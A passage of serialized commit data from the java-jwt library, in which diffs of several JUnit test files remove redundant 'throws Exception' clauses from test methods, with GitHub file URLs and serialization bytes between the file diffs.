+    public void shouldFailOnRSA256SigningWithDeprecatedMethodWhenProvidedPrivateKeyIsNull() {
         exception.expect(SignatureGenerationException.class);
         exception.expectMessage("The Token's Signature couldn't be generated when signing using the Algorithm: SHA256withRSA");
         exception.expectCause(isA(IllegalStateException.class));u}(jR  (e3d04c77c3709f2f9132edda5babc2ca20bcf878jS  9lib/src/test/java/com/auth0/jwt/impl/BasicHeaderTest.javajS  modifiedjS  K
jS  K
j!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FBasicHeaderTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X  @@ -25,21 +25,21 @@ public class BasicHeaderTest {
 
     @SuppressWarnings("Convert2Diamond")
     @Test
-    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNonNullTree() throws Exception {
+    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNonNullTree() {
         exception.expect(UnsupportedOperationException.class);
         BasicHeader header = new BasicHeader(null, null, null, null, new HashMap<String, JsonNode>(), objectReader);
         header.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNullTree() throws Exception {
+    public void shouldHaveUnmodifiableTreeWhenInstantiatedWithNullTree() {
         exception.expect(UnsupportedOperationException.class);
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
         header.getTree().put("something", null);
     }
 
     @Test
-    public void shouldHaveTree() throws Exception {
+    public void shouldHaveTree() {
         HashMap<String, JsonNode> map = new HashMap<>();
         JsonNode node = NullNode.getInstance();
         map.put("key", node);
@@ -50,7 +50,7 @@ public void shouldHaveTree() throws Exception {
     }
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         BasicHeader header = new BasicHeader("HS256", null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -59,15 +59,15 @@ public void shouldGetAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldGetNullAlgorithmIfMissing() throws Exception {
+    public void shouldGetNullAlgorithmIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getAlgorithm(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         BasicHeader header = new BasicHeader(null, "jwt", null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -76,15 +76,15 @@ public void shouldGetType() throws Exception {
     }
 
     @Test
-    public void shouldGetNullTypeIfMissing() throws Exception {
+    public void shouldGetNullTypeIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getType(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         BasicHeader header = new BasicHeader(null, null, "content", null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -93,15 +93,15 @@ public void shouldGetContentType() throws Exception {
     }
 
     @Test
-    public void shouldGetNullContentTypeIfMissing() throws Exception {
+    public void shouldGetNullContentTypeIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getContentType(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetKeyId() throws Exception {
+    public void shouldGetKeyId() {
         BasicHeader header = new BasicHeader(null, null, null, "key", null, objectReader);
 
         assertThat(header, is(notNullValue()));
@@ -110,15 +110,15 @@ public void shouldGetKeyId() throws Exception {
     }
 
     @Test
-    public void shouldGetNullKeyIdIfMissing() throws Exception {
+    public void shouldGetNullKeyIdIfMissing() {
         BasicHeader header = new BasicHeader(null, null, null, null, null, objectReader);
 
         assertThat(header, is(notNullValue()));
         assertThat(header.getKeyId(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetExtraClaim() throws Exception {
+    public void shouldGetExtraClaim() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         BasicHeader header = new BasicHeader(null, null, null, null, tree, objectReader);
@@ -129,7 +129,7 @@ public void shouldGetExtraClaim() throws Exception {
     }
 
     @Test
-    public void shouldGetNotNullExtraClaimIfMissing() throws Exception {
+    public void shouldGetNotNullExtraClaimIfMissing() {
         Map<String, JsonNode> tree = new HashMap<>();
         BasicHeader header = new BasicHeader(null, null, null, null, tree, objectReader);
 u}(jR  (38601bdcc671d7776f25bd17517c77330bc23b3djS  :lib/src/test/java/com/auth0/jwt/impl/ClaimsHolderTest.javajS  modifiedjS  KjS  Kj!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolderTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X  @@ -13,7 +13,7 @@ public class ClaimsHolderTest {
 
     @SuppressWarnings("RedundantCast")
     @Test
-    public void shouldGetClaims() throws Exception {
+    public void shouldGetClaims() {
         HashMap<String, Object> claims = new HashMap<>();
         claims.put("iss", "auth0");
         ClaimsHolder holder = new ClaimsHolder(claims);
@@ -24,7 +24,7 @@ public void shouldGetClaims() throws Exception {
     }
 
     @Test
-    public void shouldGetNotNullClaims() throws Exception {
+    public void shouldGetNotNullClaims() {
         ClaimsHolder holder = new ClaimsHolder(null);
         assertThat(holder, is(notNullValue()));
         assertThat(holder.getClaims(), is(notNullValue()));u}(jR  (328f4ab493866621292f355ad5feed672da647bfjS  @lib/src/test/java/com/auth0/jwt/impl/HeaderDeserializerTest.javajS  modifiedjS  KjS  Kj!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X`  @@ -37,7 +37,7 @@ public class HeaderDeserializerTest {
     private ObjectReader objectReader = new ObjectMapper().reader();
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         deserializer = new HeaderDeserializer(objectReader);
     }
 
@@ -88,7 +88,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNullNode() throws Exception {
+    public void shouldGetNullStringWhenParsingNullNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
@@ -98,7 +98,7 @@ public void shouldGetNullStringWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringWhenParsingNull() throws Exception {
+    public void shouldGetNullStringWhenParsingNull() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
@@ -107,7 +107,7 @@ public void shouldGetNullStringWhenParsingNull() throws Exception {
     }
 
     @Test
-    public void shouldGetStringWhenParsingTextNode() throws Exception {
+    public void shouldGetStringWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode node = new TextNode("something here");
         tree.put("key", node);u}(jR  (a40a23d46289e8c4c63eecd82f811201db801a4ejS  7lib/src/test/java/com/auth0/jwt/impl/JWTParserTest.javajS  modifiedjS  K	jS  K	j!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  XL  @@ -27,20 +27,20 @@ public class JWTParserTest {
     private JWTParser parser;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         parser = new JWTParser();
     }
 
     @Test
-    public void shouldGetDefaultObjectMapper() throws Exception {
+    public void shouldGetDefaultObjectMapper() {
         ObjectMapper mapper = getDefaultObjectMapper();
         assertThat(mapper, is(notNullValue()));
         assertThat(mapper, is(instanceOf(ObjectMapper.class)));
         assertThat(mapper.isEnabled(SerializationFeature.FAIL_ON_EMPTY_BEANS), is(false));
     }
 
     @Test
-    public void shouldAddDeserializers() throws Exception {
+    public void shouldAddDeserializers() {
         ObjectMapper mapper = mock(ObjectMapper.class);
         new JWTParser(mapper);
         verify(mapper).registerModule(any(Module.class));
@@ -58,7 +58,7 @@ public void shouldParsePayload() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidPayload() throws Exception {
+    public void shouldThrowOnInvalidPayload() {
         String jsonPayload = "{{";
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(String.format("The string '%s' doesn't have a valid JSON format.", jsonPayload));
@@ -78,7 +78,7 @@ public void shouldParseHeader() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidHeader() throws Exception {
+    public void shouldThrowOnInvalidHeader() {
         String jsonHeader = "}}";
         exception.expect(JWTDecodeException.class);
         exception.expectMessage(String.format("The string '%s' doesn't have a valid JSON format.", jsonHeader));
@@ -87,28 +87,28 @@ public void shouldThrowOnInvalidHeader() throws Exception {
     }
 
     @Test
-    public void shouldThrowWhenConvertingHeaderIfNullJson() throws Exception {
+    public void shouldThrowWhenConvertingHeaderIfNullJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string 'null' doesn't have a valid JSON format.");
         parser.parseHeader(null);
     }
 
     @Test
-    public void shouldThrowWhenConvertingHeaderFromInvalidJson() throws Exception {
+    public void shouldThrowWhenConvertingHeaderFromInvalidJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string '}{' doesn't have a valid JSON format.");
         parser.parseHeader("}{");
     }
 
     @Test
-    public void shouldThrowWhenConvertingPayloadIfNullJson() throws Exception {
+    public void shouldThrowWhenConvertingPayloadIfNullJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string 'null' doesn't have a valid JSON format.");
         parser.parsePayload(null);
     }
 
     @Test
-    public void shouldThrowWhenConvertingPayloadFromInvalidJson() throws Exception {
+    public void shouldThrowWhenConvertingPayloadFromInvalidJson() {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("The string '}{' doesn't have a valid JSON format.");
         parser.parsePayload("}{");u}(jR  (3299134d518547067f24099c2a6a0584de1f5727jS  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javajS  modifiedjS  K(jS  K(j!S  KPj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X_6  @@ -39,13 +39,13 @@ public class JsonNodeClaimTest {
     public ExpectedException exception = ExpectedException.none();
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         mapper = getDefaultObjectMapper();
         objectReader = mapper.reader();
     }
 
     @Test
-    public void shouldGetBooleanValue() throws Exception {
+    public void shouldGetBooleanValue() {
         JsonNode value = mapper.valueToTree(true);
         Claim claim = claimFromNode(value);
 
@@ -58,15 +58,15 @@ private Claim claimFromNode(JsonNode value) {
     }
 
     @Test
-    public void shouldGetNullBooleanIfNotBooleanValue() throws Exception {
+    public void shouldGetNullBooleanIfNotBooleanValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asBoolean(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("boolean");
         assertThat(claimFromNode(stringValue).asBoolean(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetIntValue() throws Exception {
+    public void shouldGetIntValue() {
         JsonNode value = mapper.valueToTree(123);
         Claim claim = claimFromNode(value);
 
@@ -75,15 +75,15 @@ public void shouldGetIntValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullIntIfNotIntValue() throws Exception {
+    public void shouldGetNullIntIfNotIntValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asInt(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("123");
         assertThat(claimFromNode(stringValue).asInt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetLongValue() throws Exception {
+    public void shouldGetLongValue() {
         JsonNode value = mapper.valueToTree(Long.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
@@ -92,15 +92,15 @@ public void shouldGetLongValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullLongIfNotIntValue() throws Exception {
+    public void shouldGetNullLongIfNotIntValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asLong(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("" + Long.MAX_VALUE);
         assertThat(claimFromNode(stringValue).asLong(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetDoubleValue() throws Exception {
+    public void shouldGetDoubleValue() {
         JsonNode value = mapper.valueToTree(1.5);
         Claim claim = claimFromNode(value);
 
@@ -109,15 +109,15 @@ public void shouldGetDoubleValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullDoubleIfNotDoubleValue() throws Exception {
+    public void shouldGetNullDoubleIfNotDoubleValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDouble(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("123.23");
         assertThat(claimFromNode(stringValue).asDouble(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetDateValue() throws Exception {
+    public void shouldGetDateValue() {
         JsonNode value = mapper.valueToTree(1476824844L);
         Claim claim = claimFromNode(value);
 
@@ -126,15 +126,15 @@ public void shouldGetDateValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullDateIfNotDateValue() throws Exception {
+    public void shouldGetNullDateIfNotDateValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDate(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("1476824844");
         assertThat(claimFromNode(stringValue).asDate(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetStringValue() throws Exception {
+    public void shouldGetStringValue() {
         JsonNode value = mapper.valueToTree("string");
         Claim claim = claimFromNode(value);
 
@@ -143,15 +143,15 @@ public void shouldGetStringValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullStringIfNotStringValue() throws Exception {
+    public void shouldGetNullStringIfNotStringValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asString(), is(nullValue()));
         JsonNode intValue = mapper.valueToTree(12345);
         assertThat(claimFromNode(intValue).asString(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetArrayValueOfCustomClass() throws Exception {
+    public void shouldGetArrayValueOfCustomClass() {
         JsonNode value = mapper.valueToTree(new UserPojo[]{new UserPojo("George", 1), new UserPojo("Mark", 2)});
         Claim claim = claimFromNode(value);
 
@@ -160,7 +160,7 @@ public void shouldGetArrayValueOfCustomClass() throws Exception {
     }
 
     @Test
-    public void shouldGetArrayValue() throws Exception {
+    public void shouldGetArrayValue() {
         JsonNode value = mapper.valueToTree(new String[]{"string1", "string2"});
         Claim claim = claimFromNode(value);
 
@@ -169,23 +169,23 @@ public void shouldGetArrayValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullArrayIfNullValue() throws Exception {
+    public void shouldGetNullArrayIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asArray(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullArrayIfNonArrayValue() throws Exception {
+    public void shouldGetNullArrayIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asArray(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldThrowIfArrayClassMismatch() throws Exception {
+    public void shouldThrowIfArrayClassMismatch() {
         JsonNode value = mapper.valueToTree(new String[]{"keys", "values"});
         Claim claim = claimFromNode(value);
 
@@ -194,7 +194,7 @@ public void shouldThrowIfArrayClassMismatch() throws Exception {
     }
 
     @Test
-    public void shouldGetListValueOfCustomClass() throws Exception {
+    public void shouldGetListValueOfCustomClass() {
         JsonNode value = mapper.valueToTree(Arrays.asList(new UserPojo("George", 1), new UserPojo("Mark", 2)));
         Claim claim = claimFromNode(value);
 
@@ -203,7 +203,7 @@ public void shouldGetListValueOfCustomClass() throws Exception {
     }
 
     @Test
-    public void shouldGetListValue() throws Exception {
+    public void shouldGetListValue() {
         JsonNode value = mapper.valueToTree(Arrays.asList("string1", "string2"));
         Claim claim = claimFromNode(value);
 
@@ -212,23 +212,23 @@ public void shouldGetListValue() throws Exception {
     }
 
     @Test
-    public void shouldGetNullListIfNullValue() throws Exception {
+    public void shouldGetNullListIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asList(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullListIfNonArrayValue() throws Exception {
+    public void shouldGetNullListIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asList(String.class), is(nullValue()));
     }
 
     @Test
-    public void shouldThrowIfListClassMismatch() throws Exception {
+    public void shouldThrowIfListClassMismatch() {
         JsonNode value = mapper.valueToTree(new String[]{"keys", "values"});
         Claim claim = claimFromNode(value);
 
@@ -237,23 +237,23 @@ public void shouldThrowIfListClassMismatch() throws Exception {
     }
 
     @Test
-    public void shouldGetNullMapIfNullValue() throws Exception {
+    public void shouldGetNullMapIfNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asMap(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetNullMapIfNonArrayValue() throws Exception {
+    public void shouldGetNullMapIfNonArrayValue() {
         JsonNode value = mapper.valueToTree(1);
         Claim claim = claimFromNode(value);
 
         assertThat(claim.asMap(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetMapValue() throws Exception {
+    public void shouldGetMapValue() {
         Map<String, Object> map = new HashMap<>();
         map.put("text", "extraValue");
         map.put("number", 12);
@@ -292,7 +292,7 @@ public void shouldThrowIfAnExtraordinaryExceptionHappensWhenParsingAsGenericMap(
     }
 
     @Test
-    public void shouldGetCustomClassValue() throws Exception {
+    public void shouldGetCustomClassValue() {
         JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
         Claim claim = claimFromNode(value);
 
@@ -302,7 +302,7 @@ public void shouldGetCustomClassValue() throws Exception {
     }
 
     @Test
-    public void shouldThrowIfCustomClassMismatch() throws Exception {
+    public void shouldThrowIfCustomClassMismatch() {
         JsonNode value = mapper.valueToTree(new UserPojo("john", 123));
         Claim claim = claimFromNode(value);
 
@@ -312,7 +312,7 @@ public void shouldThrowIfCustomClassMismatch() throws Exception {
 
     @SuppressWarnings({"unchecked", "RedundantCast"})
     @Test
-    public void shouldGetAsMapValue() throws Exception {
+    public void shouldGetAsMapValue() {
         JsonNode value = mapper.valueToTree(Collections.singletonMap("key", new UserPojo("john", 123)));
         Claim claim = claimFromNode(value);
 
@@ -323,7 +323,7 @@ public void shouldGetAsMapValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingMissingNode() throws Exception {
+    public void shouldReturnBaseClaimWhenParsingMissingNode() {
         JsonNode value = MissingNode.getInstance();
         Claim claim = claimFromNode(value);
 
@@ -333,7 +333,7 @@ public void shouldReturnBaseClaimWhenParsingMissingNode() throws Exception {
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingNullNode() throws Exception {
+    public void shouldReturnBaseClaimWhenParsingNullNode() {
         JsonNode value = NullNode.getInstance();
         Claim claim = claimFromNode(value);
 
@@ -343,7 +343,7 @@ public void shouldReturnBaseClaimWhenParsingNullNode() throws Exception {
     }
 
     @Test
-    public void shouldReturnBaseClaimWhenParsingNullValue() throws Exception {
+    public void shouldReturnBaseClaimWhenParsingNullValue() {
         JsonNode value = mapper.valueToTree(null);
         Claim claim = claimFromNode(value);
 
@@ -353,7 +353,7 @@ public void shouldReturnBaseClaimWhenParsingNullValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingObject() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingObject() {
         JsonNode value = mapper.valueToTree(new Object());
         Claim claim = claimFromNode(value);
 
@@ -363,7 +363,7 @@ public void shouldReturnNonNullClaimWhenParsingObject() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingArray() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingArray() {
         JsonNode value = mapper.valueToTree(new String[]{});
         Claim claim = claimFromNode(value);
 
@@ -373,7 +373,7 @@ public void shouldReturnNonNullClaimWhenParsingArray() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingList() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingList() {
         JsonNode value = mapper.valueToTree(new ArrayList<String>());
         Claim claim = claimFromNode(value);
 
@@ -383,7 +383,7 @@ public void shouldReturnNonNullClaimWhenParsingList() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingStringValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingStringValue() {
         JsonNode value = mapper.valueToTree("");
         Claim claim = claimFromNode(value);
 
@@ -393,7 +393,7 @@ public void shouldReturnNonNullClaimWhenParsingStringValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingIntValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingIntValue() {
         JsonNode value = mapper.valueToTree(Integer.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
@@ -403,7 +403,7 @@ public void shouldReturnNonNullClaimWhenParsingIntValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingDoubleValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingDoubleValue() {
         JsonNode value = mapper.valueToTree(Double.MAX_VALUE);
         Claim claim = claimFromNode(value);
 
@@ -413,7 +413,7 @@ public void shouldReturnNonNullClaimWhenParsingDoubleValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingDateValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingDateValue() {
         JsonNode value = mapper.valueToTree(new Date());
         Claim claim = claimFromNode(value);
 
@@ -423,7 +423,7 @@ public void shouldReturnNonNullClaimWhenParsingDateValue() throws Exception {
     }
 
     @Test
-    public void shouldReturnNonNullClaimWhenParsingBooleanValue() throws Exception {
+    public void shouldReturnNonNullClaimWhenParsingBooleanValue() {
         JsonNode value = mapper.valueToTree(Boolean.TRUE);
         Claim claim = claimFromNode(value);
 u}(jR  (84f91c78eb287cabfe88ff937049ff47923a1cacjS  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javajS  modifiedjS  KjS  Kj!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X  @@ -11,62 +11,62 @@ public class NullClaimTest {
     private NullClaim claim;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         claim = new NullClaim();
     }
 
     @Test
-    public void shouldBeNull() throws Exception {
+    public void shouldBeNull() {
         assertThat(claim.isNull(), is(true));
     }
 
     @Test
-    public void shouldGetAsBoolean() throws Exception {
+    public void shouldGetAsBoolean() {
         assertThat(claim.asBoolean(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsInt() throws Exception {
+    public void shouldGetAsInt() {
         assertThat(claim.asInt(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsLong() throws Exception {
+    public void shouldGetAsLong() {
         assertThat(claim.asLong(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsDouble() throws Exception {
+    public void shouldGetAsDouble() {
         assertThat(claim.asDouble(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsString() throws Exception {
+    public void shouldGetAsString() {
         assertThat(claim.asString(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsDate() throws Exception {
+    public void shouldGetAsDate() {
         assertThat(claim.asDate(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsArray() throws Exception {
+    public void shouldGetAsArray() {
         assertThat(claim.asArray(Object.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsList() throws Exception {
+    public void shouldGetAsList() {
         assertThat(claim.asList(Object.class), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsMap() throws Exception {
+    public void shouldGetAsMap() {
         assertThat(claim.asMap(), is(nullValue()));
     }
 
     @Test
-    public void shouldGetAsCustomClass() throws Exception {
+    public void shouldGetAsCustomClass() {
         assertThat(claim.as(Object.class), is(nullValue()));
     }
 u}(jR  (16a7198dbf17ad18347f20fe5c1354b40f46a666jS  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javajS  modifiedjS  KjS  Kj!S  Kj"S  https://github.com/auth0/java-jwt/blob/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj$S  https://github.com/auth0/java-jwt/raw/1697ccb886268a0038514a97b0430d2c07538144/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj&S  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=1697ccb886268a0038514a97b0430d2c07538144j(S  X  @@ -35,7 +35,7 @@ public class PayloadDeserializerTest {
     private PayloadDeserializer deserializer;
 
     @Before
-    public void setUp() throws Exception {
+    public void setUp() {
         deserializer = new PayloadDeserializer(new ObjectMapper().reader());
     }
 
@@ -109,7 +109,7 @@ public void shouldNotRemoveKnownPublicClaimsFromTree() throws Exception {
     }
 
     @Test
-    public void shouldGetStringArrayWhenParsingArrayNode() throws Exception {
+    public void shouldGetStringArrayWhenParsingArrayNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         List<JsonNode> subNodes = new ArrayList<>();
         TextNode textNode1 = new TextNode("one");
@@ -126,7 +126,7 @@ public void shouldGetStringArrayWhenParsingArrayNode() throws Exception {
     }
 
     @Test
-    public void shouldGetStringArrayWhenParsingTextNode() throws Exception {
+    public void shouldGetStringArrayWhenParsingTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode textNode = new TextNode("something");
         tree.put("key", textNode);
@@ -138,7 +138,7 @@ public void shouldGetStringArrayWhenParsingTextNode() throws Exception {
     }
 
     @Test
-    public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() throws Exception {
+    public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() {
         Map<String, JsonNode> tree = new HashMap<>();
         TextNode textNode = new TextNode("");
         tree.put("key", textNode);
@@ -149,7 +149,7 @@ public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() throws Exception
     }
 
     @Test
-    public void shouldGetNullArrayWhenParsingNullNode() throws Exception {
+    public void shouldGetNullArrayWhenParsingNullNode() {
